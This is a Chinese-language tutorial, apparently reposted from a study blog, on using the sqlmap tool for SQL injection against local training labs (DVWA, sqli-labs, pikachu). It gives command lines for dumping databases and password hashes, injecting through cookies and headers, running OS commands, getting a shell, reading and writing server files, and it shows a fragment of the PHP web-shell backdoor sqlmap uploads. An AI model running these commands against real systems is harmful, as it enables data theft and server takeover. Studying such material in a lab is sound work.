【SQL注入】之SQLMAP工具的使用

摘要:
Id=1&Submit=Submit#“翻译:sqlmapgota302redirectto'http://127.0.0.1:80/dvwa/login.php'sqlmap获取302个重定向到“http://127.0.0.1:80/dvwa/login.php“您尚未声明cookie,而服务器希望设置自己的cookie您尚未声明cookie,但服务器希望设置其自己的cookie('photossid=ua503vlvaom

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

一、介绍

1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等

2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!!

3.支持的注入类型:bool、time、报错、union、堆查询、内联

4.功能:

  • 可以获取用户名、密码、权限、角色、数据库(表、字段、内容)
  • 可以爆破识别密文数据
  • getshell(反弹shell)
  • 命令执行
  • 脱库或删库

二、SQLMAP的目录介绍:

目录介绍
doc介绍文档
extrasqlmap额外的功能,运行cmd、执行命令
libsqlmap的核心功能代码
plugins包含12种数据库的识别程序
data存放一些攻击过程种使用的工具或者命令
/data/procs包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序
/data/shell远程命令、后门
/data/txt表名、列名、UA字典
/data/udf存放攻击载荷(payload)
/data/XML存放检测脚本(payload)
tamper包含各种绕过WAF的处理脚本
thirdparty包含第三方插件,如颜色、优化等等
waf识别WAF的脚本

三、SQLMAP的工作流程

1.初始化

1 salmap -v  查看版本
2 salmap --update  更新

2.开始检测

  • 检测之前是否注入过(会把当前检测URL 默认存放在用户家目录中.sqlmap下的output),使用--output-dir可指定存放的目录
  • 解析URL,判断URL是否可访问
  • 检测是否有WAF
sqlmap -u "目标url" --identify-waf
sqlmap -u "目标url" --check-waf
  • 执行用户输入的参数
1 -u  指定URL
2 -p  指定参数
3 -v  指定显示级别
4 --dbs  目标服务器中的数据库
5 --current-db  当前数据库
6 --tables  目标数据库有什么表
7 --columns  目标表中有什么列
8 --dump  获取数据
9 --batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
10 --dbms  指定数据库类型
11 --current-user  查看当前用户
12 --users  查看所有用户
13 --passwords  数据库密码
14 --hostname  系统名称
15 --banner  数据库信息
16 --roles  数据库用户角色
17 等等

四、步骤详解

  • GET型注入的SQLMAP利用方法:

1.判断是否有注入点

sqlmap -u "目标url"
  • 当看到探测的结果中有没有环境参数(系统类型和数据库类型),则表明有注入

2.查看所有数据库

1 sqlmap -u "目标_url" --dbs --dbms mysql
2     --dbms=DBMS 指定目标数据库类型

3.获取当前数据库

sqlmap -u "目标_url" --current-db --dbms mysql

4.获取当前数据库下表

1 sqlmap -u "目标_url" -D 库名 --dbms mysql --tables --batch -v
2     -D DB 指定从某个数据库查询数据
3     -v 显示信息的级别,一共有六级:
4         0:只显示python 错误和一些严重信息
5         1:显示基本信息(默认)
6         2:显示debug信息
7         3:显示注入过程的payload
8         4:显示http请求包
9         5:显示http响应头
10         6:显示http相应页面    

5.获取当前数据库中指定表下的字段

1 sqlmap -u "目标url" -D 库名 -T 表名 --columns
2     -T TBL 指定从某个表查询数据

6.获取指定字段对应的数据内容

1 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump
2     -C COL 指定从某个列查询数据
3     --dump 查询指定范围的全部数据
4         (对加密的密码进行彩虹表攻击)

五、SQLMAP工具测试

  • GET型 ,测试使用DVWA中的SQL Injection模块(Low级别)

1.检测是否有注入点

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

【SQL注入】之SQLMAP工具的使用第1张

  • 翻译(注入过程中询问的内容)

sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php'

sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php”

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible')

您尚未声明cookie,而服务器希望设置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible')

  • 由上图可知,结果是跳转到登录页面,是需要带cookie的,查到session为nh9elbltn3coe0kgvdnq1l6755在地址栏种输入javascript:alert(document.cookie)查询cookie)

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
  • POST型注入的SQLMAP利用方法(这种方式GET型数据也可利用):

1.拦截数据包

【SQL注入】之SQLMAP工具的使用第2张

【SQL注入】之SQLMAP工具的使用第3张

2.将拦截到的数据包保存在post.txt文件里

  • 右键空白处,选择Cope to file

【SQL注入】之SQLMAP工具的使用第4张

【SQL注入】之SQLMAP工具的使用第5张

3.查看post.txt的内容

【SQL注入】之SQLMAP工具的使用第6张

4.使用SQLMAP进行检测

1 python sqlmap.py -r C:UsersadminDesktoppost.txt -p "uname" --batch
2     -r  读取指定的文件
3     -p  告诉SQLMAP测试哪个参数

【SQL注入】之SQLMAP工具的使用第7张

六、cookie 注入

1.介绍:数据经过cookie发送给服务器,cookie可以传输参数,并且有注入点

2.cookie型注入利用方法(测试使用sqli-labs第20关):

【SQL注入】之SQLMAP工具的使用第8张

  • 抓取的数据包来源于下面的界面

【SQL注入】之SQLMAP工具的使用第9张

【SQL注入】之SQLMAP工具的使用第10张

  • 将抓取到的数据包发送到Repeater模块中,Go一下,查看回显

【SQL注入】之SQLMAP工具的使用第11张

  • 检测注入点

【SQL注入】之SQLMAP工具的使用第12张

  • 将此数据包保存在post_cookie.txt文件里(这个数据类型是GET型,当时写错了)

【SQL注入】之SQLMAP工具的使用第13张

【SQL注入】之SQLMAP工具的使用第14张

  • 使用SQLMAP进行检测
python sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --cookie "uname=12" --level 2
    --level=LEVEL  执行测试的等级(1-5,默认是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload)
或sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --level 2

【SQL注入】之SQLMAP工具的使用第15张

    • 从回显中可以看到,SQLMAP自动将获取到的数据记录到了一个目录下,进入到该目录下的127.0.0.1中,该目录下的log记录的检查出的结果

【SQL注入】之SQLMAP工具的使用第16张

【SQL注入】之SQLMAP工具的使用第17张

七、XFF注入

  • 注入基本过程(方法与cookie注入类似)

1.拦包

2.使用SQLMAP检查注入点

  • GET型数据:
sqlmap -u “目标URL” -p “x-forwarded-for” -level 3
  • POST型数据:
sqlmap -r post_xff.txt --level 3

八、UA注入

  • 测试使用sqli-labs第18关
  • 注入基本过程(方法与cookie注入类似)

1.拦包

2.使用SQLMAP检查注入点

  • GET型数据:
sqlmap -u “目标URL” -p “user-agent” -level 3
  • POST型数据:
1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch
2   --dbms  指定目标数据库类型
3 sqlmap -r post_ua.txt --level 3 --current-user
4   --current-user  查看当前用户

九、SQLMAP注入点执行系统命令或交互式shell

1.条件:

  • 数据库有读写文件的权限
  • 需要知道WEB站点的路径(可使用select @@datadir)

2.使用SQLMAP执行系统命令

1 sqlmap.py -u “目标URL” --os-cmd=ipconfig
2     --os-cmd=OSCMD 执行一句系统命令
3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig  执行系统命令ipconfig
4 sqlmap -r post_ua.txt --level 3 --os-shell  获取系统的shell
5 sqlmap -r post_ua.txt --level 3 --is-dba  判断当前用户是否为管理员

十、延时注入

1 sqlmap.py -u "目标url"  --delay 2
2     --delay 2 延时2S注入

十一、执行数据库命令

  • 命令:
1 --sql-query=QUERY  执行一个sql语句
2 --sql-shell 创建一个sql的shell(获取一个交互式的数据库终端)
3 --sql-file=SQLFILE  执行一个给定文件中的sql语句
  • 注入利用:
    • 测试使用pikachu里的sqli中字符型注入(需要在Github中查找资源并搭建)

1.浏览网站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询

【SQL注入】之SQLMAP工具的使用第18张

2.使用SQLMAP检测注入点

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" --batch

【SQL注入】之SQLMAP工具的使用第19张

3.根据回显存在注入点,使用SQLMAP执行数据库命令

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-cmd=whoami
  • 在下图红框内可以看到系统命令被正常执行

【SQL注入】之SQLMAP工具的使用第20张

    • 翻译(注入过程中询问的内容):

Web服务器支持哪种Web应用程序语言?

[1]asp

[2]ASPX

[3]jsp

[4]php(默认)

>4

是否希望sqlmap进一步尝试触发完整路径泄漏?[是/否]是

[21:34:02][警告]无法自动检索Web服务器文档根目录

要将什么用于可写目录?

[1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默认)

[2]自定义位置

[3]自定义目录列表文件

[4]蛮力搜索

>2

是否要检索命令标准输出?[是/否/否]是

命令标准输出:“desktop-18q770sadmin”

请提供一个逗号分隔的绝对目录路径列表:f:phpstudy_64phpstudy_Prowww//路径需要自己输入

4.获取一个交互式的数据库终端

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --os-shell

【SQL注入】之SQLMAP工具的使用第21张

  • 在注入过程中会自动生成后门文件

【SQL注入】之SQLMAP工具的使用第22张

    • 翻译:

[21:40:33][info]文件暂存器已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php

[21:40:33][info]后门已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php

    • 在浏览器中两个文件访问查看效果

      • http://127.0.0.1/tmpupjuy.php辅助工具,用来上传木马

【SQL注入】之SQLMAP工具的使用第23张

      • http://127.0.0.1/tmpbaqhn.php木马

【SQL注入】之SQLMAP工具的使用第24张

        • 其内容为:
<?php $c=$_REQUEST["cmd"];
        • 浏览http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能

【SQL注入】之SQLMAP工具的使用第25张

十二、SQLMAP 直连mysql数据库

1 python sqlmap.py -d "mysql://root:root@目标IP:3306/mysql" -f --banner --dbs --users
2     -f, --fingerprint  指纹信息,返回DBMS,操作系统,架构,补丁等信息
3     --hostname  获取系统信息
4     --banner  获取数据库信息
5     --roles  获取数据库用户角色

十三、sqlmap注入利用Access

1.Access数据库:没有库的概念,打开数据库文件看到只有表和字段以及内容

2.Access注入过程(注意其特性,只有表和表下的字段内容):

  • 先探测注入点
  • 获取数据库表
sqlmap.py -u "目标url" --tables  获取所有的数据表
  • 获取字段
sqlmap.py -u "目标url" -T 表名 --columns  获取字段
  • 获取字段内容
sqlmap.py -u "目标url" -T 表名 -C 字段名 --dump  获取字段内容

十四、SQLMAP结合BP日志进行被动式注入发现

  • 测试在pikachu里的sqli中数字型注入

1.开启BP2.1的日志记录功能,并将日志内容保存到桌面log.txt中

【SQL注入】之SQLMAP工具的使用第26张

  • 勾选后会弹出下面的窗口,我选择的是已经建好的文件log.txt,弹出警告,选择Yes即可

【SQL注入】之SQLMAP工具的使用第27张

【SQL注入】之SQLMAP工具的使用第28张

2.抓包

【SQL注入】之SQLMAP工具的使用第29张

【SQL注入】之SQLMAP工具的使用第30张

3.在浏览器中多进行几次提交,需要提前关闭BP中的Intercept is on,然后打开log.txt,浏览器提交的数据全部进入到了log.txt中

【SQL注入】之SQLMAP工具的使用第31张

4.使用SQLMAP进行检测

1 sqlmap.py -l C:UsersadminDesktoplog.txt --batch
2     -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录

【SQL注入】之SQLMAP工具的使用第32张

  • 翻译(最后一句):

您可以在csv文件“c: usersadminappdatalocalsqlmapoutput esults-10302019_1119pm.csv”中找到以多目标模式扫描的结果。

5.打开results-10302019_1119pm.csv文件,可知该URL中存在的注入类型

【SQL注入】之SQLMAP工具的使用第33张

(Parameter:参数Technique:技术)

  • SQLMAP指定测试注入的技术:
1 python sqlmap.py -u “目标URL” -dbms mysql --technique=T
2     --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
3         B: Boolean-based blind SQL injection(布尔型注入)
4         E: Error-based SQL injection(报错型注入)
5         U:UNION query SQL injection(可联合查询注入)
6         S:Stacked queries SQL injection(可多语句查询注入)
7         T: Time-based blind SQL injection(基于时间延迟注入)
8         Q: inline_query SQL injection(内联注入)

十五、SQLMAP读写文件

  • 命令:
1 --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
2 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
3 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
  • 测试使用pikachu里的sqli中字符型注入

1.使用SQLMAP读文件

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-read="F:phpStudy_64phpstudy_proWWWPDO_kuanjiezi.php"

【SQL注入】之SQLMAP工具的使用第34张

  • 译:

正在获取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”

是否确认已从后端DBMS文件系统成功下载远程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是

[23:57:05][info]本地文件'c: usersadminappdatalocalsqlmapoutput127.0.0.1filesf_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和远程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b)

文件保存到[1]:

C:UsersadminAppDataLocalsqlmapoutput127.0.0.1files

[23:57:05][info]获取的数据记录到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”

  • 进入C:usersadminappdatalocalsqlmapoutput127.0.0.1目录下,里面有读取到的文件的记录,使用SQLMAP读取文件成功

【SQL注入】之SQLMAP工具的使用第35张

【SQL注入】之SQLMAP工具的使用第36张

2.使用SQLMAP写文件

  • 新建log.txt文件,并写入以下内容

【SQL注入】之SQLMAP工具的使用第37张

  • 使用SQLMAP写文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询" -p name --dbms mysql --file-dest="F:phpStudy_64phpstudy_proWWWloglog.php(目标服务器中的文件,绝对路径)" --file-write="C:UsersadminDesktoplog.txt(攻击者电脑中的文件路径)"

【SQL注入】之SQLMAP工具的使用第38张

    • 翻译:

是否要确认本地文件“c:/users/admin/desktop/log.txt”已成功写入后端DBMS文件系统(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是

[00:08:58][info]远程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b)

[00:08:58][info]获取的数据记录到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”下

  • 使用WinHex打开F:/phpstudy_64/phpstudy_Pro/www/loglog.php

【SQL注入】之SQLMAP工具的使用第39张

  • 使用浏览器进行访问,可以看到使用SQLMAP写入文件成功

【SQL注入】之SQLMAP工具的使用第40张

免责声明:文章转载自《【SQL注入】之SQLMAP工具的使用》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇微信小程序 wx.getUserProfile 接口获取用户信息W5500问题集锦(持续更新中)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

mysql负载飙高原因分析

某些进程/服务消耗更多CPU资源(服务响应更多请求或存在某些应用瓶颈);发生比较严重的swap(可用物理内存不足);发生比较严重的中断(因为SSD或网络的原因发生中断);磁盘I/O比较慢(会导致CPU一直等待磁盘I/O请求); 绝对不要因表数据量小,sql语句随便写都行,随便join都不会出现性能瓶颈,决不能有这种思想。尽量避免join表 join表笛卡尔...

MySQL基础

一、MySQL概述 1、什么是数据库 ?答:数据的仓库,如:在ATM的示例中我们创建了一个 db 目录,称其为数据库 2、什么是 MySQL、Oracle、SQLite、Access、MS SQL Server等 ?答:他们均是一个软件,都有两个主要的功能: a. 将数据保存到文件或内存b. 接收特定的命令,然后对文件进行相应的操作3、什么是SQL ?答:...

Mysql系列(三)—— Mysql主从复制配置

一.前言 主从复制是Mysql知识体系中非常重的要一个模块。学习主从复制和后续的读写分离是完善只是知识体系的重要环节。且主从复制读写分离的思想并不仅仅局限于Mysql,在很多存储系统中都有该方案,如:redis。 从应用的角度思考,主从复制有如下优点: 可以备份数据,容灾 可以做读写分离,分担单机Mysql节点的压力。master只做write,slav...

Sqlserver作业-手把手带你体验

所谓Sql Server作业就是按照规定的时间执行指定的脚本,如果在SQL Server 里需要定时或者每隔一段时间执行某个存储过程或3200字符以内的SQL语句时,可以用管理-SQL Server代理-作业来实现. (1)打开Sqlserver,可以再sqlserver代理中看到作业这一项 (2)我们新建一个作业,我用的是自己测试数据库是一个算收益的作...

NodeManager介绍

原文链接: http://blog.csdn.net/zhangzhebjut/article/details/37730013 参考文档: https://blog.csdn.net/u013384984/article/details/80738128          https://hortonworks.com/blog/how-to-plan...

Django知识总结(一)

壹 ● 有关http协议 一 ● 全称 超文本传输协议(HyperText Transfer Protocol) 二 ● 协议 双方遵循的规范 http协议是属于应用层的协议(还有ftp, smtp等), 即浏览器请求消息和服务器响应消息的一系列规则 三 ● http协议的特性 http是无状态、无连接的协议(stateless, c...